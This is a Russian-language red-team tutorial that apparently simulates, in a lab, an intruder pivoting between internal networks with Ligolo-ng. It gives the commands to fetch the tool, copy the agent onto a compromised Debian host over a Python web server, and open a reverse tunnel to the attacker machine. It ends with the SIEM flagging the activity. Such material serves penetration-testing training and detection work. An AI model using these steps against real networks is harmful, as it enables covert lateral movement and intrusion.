О чем статья
Продолжаем серию статей, посвященных утилитам red team для тестирования безопасности приложений. Сегодня рассмотрим пример атаки с использованием Ligolo-ng.
Ligolo-ng позволяет создавать туннели через обратные TCP/TLS-соединения с помощью TUN-интерфейса. В отличие от Ligolo/Chisel/Meterpreter, утилита не использует SOCKS и TCP/UDP-форвардеры, а создает пользовательский сетевой стек с помощью gVisor. При запуске relay/прокси-сервера применяется интерфейс TUN, а отправленные на него пакеты транслируются и передаются в удаленную сеть агента.
Такая логика позволяет запускать инструменты вроде Nmap без использования прокси-цепочек — проще и быстрее. Как результат, утилита стала популярной не только среди пентестеров, но и в рядах злоумышленников.
Особенности Ligolo-ng
- Простой интерфейс с выбором агента и информацией о сети
- Легкость в использовании и настройке
- Автоматическая настройка сертификатов с помощью Let’s Encrypt
- Производительность (мультиплексирование)
- Не требует высоких привилегий
- Прослушивание и привязка сокетов на агенте
- Поддержка нескольких платформ для агента
- Возможность работы с несколькими туннелями
Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Авторы не несут ответственности за использование опубликованной информации. Помните, что нужно следить за защищенностью своих данных.
Тестовый стенд
Предположим, что в инфраструктуре компании есть внутренние сети 192.168.1.0/24 и 192.168.2.0/24. Конфигурируем стенд: добавляем для Debian 12 № 2 сетевой интерфейс ens4, выходящий в сеть 192.168.2.0/24, и подключаем его через этот интерфейс к новому коммутатору — Switch-3 (см. рис. 1–5).
Легенда
Представим, что злоумышленник подключился к коммутатору Switch-3 и ищет возможность проникнуть из сети 192.168.2.0/24 в сеть 192.168.1.0/24. При этом попытка прямого пинга не приносит результатов (см. рис. 6).
Допустим, хакер узнал о том, что на Debian 12 стоит SSH-сервер с аутентификацией по паролю. Эта информация позволила ему скомпрометировать пароль и получить доступ к серверу (см. рис. 7).
Таким образом злоумышленник успешно проник во внутреннюю сеть компании. Для дальнейшего развития атаки он решил использовать Ligolo-ng, чтобы избежать обнаружения. Далее рассмотрим действия хакера от установки утилиты до создания туннеля.
Развиваем атаку
Для начала установим файлы Ligolo-ng — agent и proxy — на Kali Linux (см. рис. 8).
Устанавливаем агент: wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.5.2/ligolo-ng_agent_0.5.2_linux_amd64.tar.gz
Устанавливаем прокси: wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.5.2/ligolo-ng_proxy_0.5.2_linux_amd64.tar.gz
Агент Ligolo-ng нужно передать на Debian 12, для этого воспользуемся веб-сервером Python: python3 -m http.server.
После запуска веб-сервера на 8000 порте мы можем получить архив с агентом на Debian и распаковать его (см. рис. 12).
Теперь, когда агент Ligolo-ng передан на узел компрометируемого устройства, на Kali нужно выполнить две команды с повышенными привилегиями для настройки туннельного интерфейса:
- sudo ip tuntap add user <Username> mode tun ligolo.
- sudo ip link set ligolo up.
Используем команду ifconfig, чтобы подтвердить создание интерфейса (см. рис. 14).
Распаковываем прокси-файл ligolo-ng на Kali: tar -xvzf ligolo-ng_proxy_0.5.2_linux_amd64.tar.gz.
Прокси-файл облегчает установку соединения через Ligolo-ng и позволяет нам выйти в другую сеть. Чтобы изучить все доступные опции, воспользуемся справочной командой: ./proxy -h.
Представленные на рис. 15 опции предназначены для подключения к прокси разных типов сертификатов. Воспользуемся командой -selfcert, которая работает на порте 11601: ./proxy -selfcert.
После этого прокси-файл начнет работать на Kali. Вводим команду для выполнения агента на компрометируемом устройстве: ./agent -connect 192.168.2.2:11601 -ignore-cert. Таким образом мы инициировали сеанс Ligolo-ng.
Затем используем команду session и выбираем «1» для доступа к активному сеансу. Следом выполняем ifconfig (см. рис. 19).
В результате мы узнаем о существовании на сервере внутренней сети с IPv4-адресом 192.168.1.0/24; попробуем создать через нее туннель.
Реализуем сценарий с поворотом в сеть 192.168.1.0/24. Нам нужно получить к ней доступ, оставаясь в границах сети 192.168.2.0/24. Отметим, что описанная выше попытка прямого пинга в 192.168.1.0/24 завершилась провалом из-за различий в конфигурации.
Для реализации поворота в отдельном окне консоли добавим новый маршрут на интерфейс Ligolo (см. рис. 20).
Возвращаемся в окно сеанса прокси-сервера, вводим start и запускаем процесс туннелирования (см. рис. 21).
Получилось! Теперь мы можем пинговать сеть 192.168.1.0/24 (см. рис. 22).
После примечания Ligolo-ng мы можем просканировать сеть при помощи Nmap и продолжить развитие атаки.
Отметим, что наши действия не прошли незамеченными. SIEM-система зафиксировала странную активность на хосте 192.168.1.13: это видно по ее логам (см. рис. 24).